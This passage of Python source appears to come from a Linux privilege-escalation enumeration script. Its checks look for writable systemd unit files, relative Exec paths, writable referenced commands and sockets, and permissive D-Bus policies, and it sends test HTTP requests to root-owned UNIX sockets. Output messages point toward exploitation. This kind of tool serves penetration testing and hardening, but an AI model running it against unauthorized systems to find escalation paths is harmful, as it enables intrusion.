# include it in execution. These will trigger in the same order listed
# in the script. The docstring will be pulled and used in the console and
# log file, so keep it short (one line).
def uptux_check_sysinfo():
"""Gather basic OS information"""
# Gather a few basics for the report.
uname = os.uname()
tee("Host: {}".format(uname[1]))
tee("OS: {}, {}".format(uname[0], uname[3]))
tee("Kernel: {}".format(uname[2]))
tee("Current user: {} (UID {} GID {})".format(getpass.getuser(),
os.getuid(),
os.getgid()))
tee("Member of following groups:\n {}".format(shell_exec('groups')))
def uptux_check_systemd_paths():
"""Check if systemd PATH is writeable"""
# Define the bash command.
command = 'systemctl show-environment'
output = shell_exec(command)
# Define the regex to find in the output.
regex = re.compile(r'PATH=(.*$)')
# Take the output from bash and split it into a list of paths.
output = re.findall(regex, output)
# This command may fail in some environments, only proceed if we have
# a good match.
if output:
output = output[0].split(':')
# Check each path - if it is writable, add it to a list.
writeable_paths = []
for item in output:
if os.access(item, os.W_OK):
writeable_paths.append(item)
else:
writeable_paths = False
# Write the status to the console and log.
if writeable_paths:
tee("The following systemd paths are writeable. THIS IS ODD!\n"
"See if you can combine this with a relative path Exec statement"
" for privesc:",
box='vuln')
for path in writeable_paths:
tee(" {}".format(path))
global SYSTEMD_PATH_WRITABLE
SYSTEMD_PATH_WRITABLE = True
else:
tee("No systemd paths are writeable. This is expected...",
box='note')
def uptux_check_services():
"""Inspect systemd service unit files"""
# Define known Linux folders for storing service unit definitions
units = set()
mask = '*.service'
units = find_system_files(known_dirs=SYSTEMD_DIRS,
search_mask=mask)
tee("Found {} service units to analyse...\n".format(len(units)),
box='ok')
# Test for write access to any service files.
# Will resolve symlinks to their target and also check for broken links.
text = 'Found writeable service unit files:'
text2 = 'Found writeable directories referred to by broken symlinks'
box = 'vuln'
tee("")
tee("Checking permissions on service unit files...",
box='ok')
check_file_permissions(file_paths=units,
files_message_text=text,
dirs_message_text=text2,
message_box=box)
# Only check relative paths if we can abuse them
if SYSTEMD_PATH_WRITABLE:
# Look for relative calls to binaries.
# Example: ExecStart=somfolder/somebinary
regex = re.compile(r'^Exec(?:Start|Stop|Reload)='
r'(?:@[^/]' # special exec
r'|-[^/]' # special exec
r'|\+[^/]' # special exec
r'|![^/]' # special exec
r'|!![^/]' # special exec
r'|)' # or maybe no special exec
r'[^/@\+!-]' # not abs path or special exec
r'.*', # rest of line
re.MULTILINE)
text = ('Possible relative path in an Exec statement.\n'
'Unless you have writeable systemd paths, you won\'t be able to'
' exploit this:')
box = 'sus'
tee("")
tee("Checking for relative paths in service unit files [check 1]...",
box='ok')
regex_vuln_search(file_paths=units,
regex=regex,
message_text=text,
message_box=box)
# Look for relative calls to binaries but invoked by an interpreter.
# Example: ExecStart=/bin/sh -c 'somefolder/somebinary'
regex = re.compile(r'^Exec(?:Start|Stop|Reload)='
r'(?:@[^/]' # special exec
r'|-[^/]' # special exec
r'|\+[^/]' # special exec
r'|![^/]' # special exec
r'|!![^/]' # special exec
r'|)' # or maybe no special exec
r'.*?(?:/bin/sh|/bin/bash) ' # interpreter
r'(?:[\'"]|)' # might have quotes
r'(?:-[a-z]+|)'# might have params
r'(?:[ ]+|)' # might have more spaces now
r'[^/-]' # not abs path or param
r'.*', # rest of line
re.MULTILINE)
text = ('Possible relative path invoked with an interpreter in an'
' Exec statement.\n'
'Unless you have writable systemd paths, you won\'t be able to'
' exploit this:')
box = 'sus'
tee("")
tee("Checking for relative paths in service unit files [check 2]...",
box='ok')
regex_vuln_search(file_paths=units,
regex=regex,
message_text=text,
message_box=box)
# Check for write access to any commands invoked by Exec statements.
# Thhs regex below is used to extract command lines.
regex = re.compile(r'^Exec.*?=[!@+-]*(.*?$)',
re.MULTILINE)
# We don't pass message info to this function as we need to perform more
# processing on the output to determine what is writeable.
tee("")
tee("Checking for write access to commands referenced in service files...",
box='ok')
service_commands = regex_vuln_search(file_paths=units,
regex=regex,
message_text='',
message_box='')
# Another helper function to take the extracted commands and check for
# write permissions.
text = 'You have write access to commands referred to in service files:'
box = 'vuln'
check_command_permission(commands=service_commands,
message_text=text,
message_box=box)
def uptux_check_timer_units():
"""Inspect systemd timer unit files"""
units = set()
mask = '*.timer'
units = find_system_files(known_dirs=SYSTEMD_DIRS,
search_mask=mask)
tee("Found {} timer units to analyse...\n".format(len(units)),
box='ok')
# Test for write access to any timer files.
# Will resolve symlinks to their target and also check for broken links.
text = 'Found writeable timer unit files:'
text2 = 'Found writeable directories referred to by broken symlinks'
box = 'vuln'
tee("")
tee("Checking permissions on timer unit files...",
box='ok')
check_file_permissions(file_paths=units,
files_message_text=text,
dirs_message_text=text2,
message_box=box)
# Timers may reference systemd services, which are already being checked.
# But they may reference a specific script (often a '.target' file of the
# same name. Check to see if the action called is writable.
# The regex below is used to extract these targets.
regex = re.compile(r'^Unit=*(.*?$)',
re.MULTILINE)
# We don't pass message info to this function as we need to perform more
# processing on the output to determine what is writeable.
tee("")
tee("Checking for write access to commands referenced in timer files...",
box='ok')
timer_commands = regex_vuln_search(file_paths=units,
regex=regex,
message_text='',
message_box='')
# Another helper function to take the extracted commands and check for
# write permissions.
text = 'You have write access to commands referred to in timer files:'
box = 'vuln'
check_command_permission(commands=timer_commands,
message_text=text,
message_box=box)
def uptux_check_socket_units():
"""Inspect systemd socket unit files"""
units = set()
mask = '*.socket'
units = find_system_files(known_dirs=SYSTEMD_DIRS,
search_mask=mask)
tee("Found {} socket units to analyse...\n".format(len(units)),
box='ok')
# Test for write access to any socket files.
# Will resolve symlinks to their target and also check for broken links.
text = 'Found writeable socket unit files:'
text2 = 'Found writeable directories referred to by broken symlinks'
box = 'vuln'
tee("")
tee("Checking permissions on socket unit files...",
box='ok')
check_file_permissions(file_paths=units,
files_message_text=text,
dirs_message_text=text2,
message_box=box)
# Check for write access to any socket files created by a service.
# This can be interesting - I've seen a systemd service run a REST
# API on a AF_UNIX socket. This would be missed by normal privesc
# checks.
# Thhs regex below is used to extract command lines.
regex = re.compile(r'^Listen.*?=[!@+-]*(.*?$)',
re.MULTILINE)
# We don't pass message info to this function as we need to perform more
# processing on the output to determine what is writeable.
tee("")
tee("Checking for write access to AF_UNIX sockets...",
box='ok')
socket_files = regex_vuln_search(file_paths=units,
regex=regex,
message_text='',
message_box='')
# Another helper function to take the extracted commands and check for
# write permissions.
text = ('You have write access to AF_UNIX socket files invoked by a'
' systemd service.\n'
'This could be interesting. \n'
'You can attach to these files to look for an exploitable API.')
box = 'sus'
check_command_permission(commands=socket_files,
message_text=text,
message_box=box)
def uptux_check_socket_apis():
"""Look for web servers on UNIX domain sockets"""
# Use Linux ss tool to find sockets in listening state
command = 'ss -xlp -H state listening'
output = shell_exec(command)
# We get Unicode back from the above command, let's fix
output = str(output)
root_sockets = []
socket_replies = {}
# We want to grab all the strings that look like socket paths
sockets = re.findall(r' (/.*?) ', output)
abstract_sockets = re.findall(r' (@.*?) ', output)
for socket_path in sockets:
# For now, we are only interested in sockets owned by root
if os.path.exists(socket_path) and os.stat(socket_path).st_uid == 0:
root_sockets.append(socket_path)
tee("Trying to connect to {} unix sockets owned by uid 0..."
.format(len(root_sockets)), box='ok')
tee("")
# Cycle through each and try to send a raw HTTP GET
for socket_target in root_sockets:
# Define a raw HTTP GET request
http_get = ('GET / HTTP/1.1\r\n'
'Host: localhost\r\n'
'\r\n\r\n')
# Try to interact with the socket like a web API
client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
client.settimeout(5)
try:
client.connect(socket_target)
client.sendall(http_get.encode())
reply = client.recv(8192).decode()
# If we get a reply to this, we assume it is an API
if reply:
socket_replies[socket_target] = reply
except (socket.error, UnicodeDecodeError):
continue
# If we have some replies, print to console
# Hack-ish string replacement to get a nice indent
if socket_replies:
tee("The following root-owned sockets replied as follows",
box='sus')
for socket_path in socket_replies:
tee(" " + socket_path + ":")
tee(" " + socket_replies[socket_path]
.replace('\n', '\n '))
tee("")
def uptux_check_dbus_issues():
"""Inspect D-Bus configuration items"""
units = set()
mask = '*.conf'
units = find_system_files(known_dirs=DBUS_DIRS,
search_mask=mask)
tee("Found {} D-Bus conf files to analyse...\n".format(len(units)),
box='ok')
# Test for write access to any files.
# Will resolve symlinks to their target and also check for broken links.
text = 'Found writeable D-Bus conf files:'
text2 = 'Found writeable directories referred to by broken symlinks'
box = 'vuln'
tee("")
tee("Checking permissions on D-Bus conf files...",
box='ok')
check_file_permissions(file_paths=units,
files_message_text=text,
dirs_message_text=text2,
message_box=box)
# Checking for overly permission policies in D-Bus configuration files.
# For example, normally "policy" is defined as a username. When defined in
# an XML tag on its own, it applies to everyone.
tee("")
tee("Checking for overly permissive D-Bus configuration rules...",
box='ok')
regex = re.compile(r'<policy>.*?</policy>',
re.MULTILINE|re.DOTALL)
text = ('These D-Bus policies may be overly permissive as they do not'
' specify a user or group.')
box = 'sus'
regex_vuln_search(file_paths=units,
regex=regex,
message_text=text,
message_box=box)
########################## Individual Checks Complete #########################
def main():
"""Main function"""
print(BANNER)
# Dynamically build list of checks to execute.
uptux_checks = build_checks_list()
# Use the handler to execute each check.
for check in uptux_checks:
check_name = check.__name__
check_desc = check.__doc__
check_handler(check, check_name, check_desc)
# Good luck!
tee("")
tee("All done, good luck!", box='note')
if __name__ == "__main__":
main()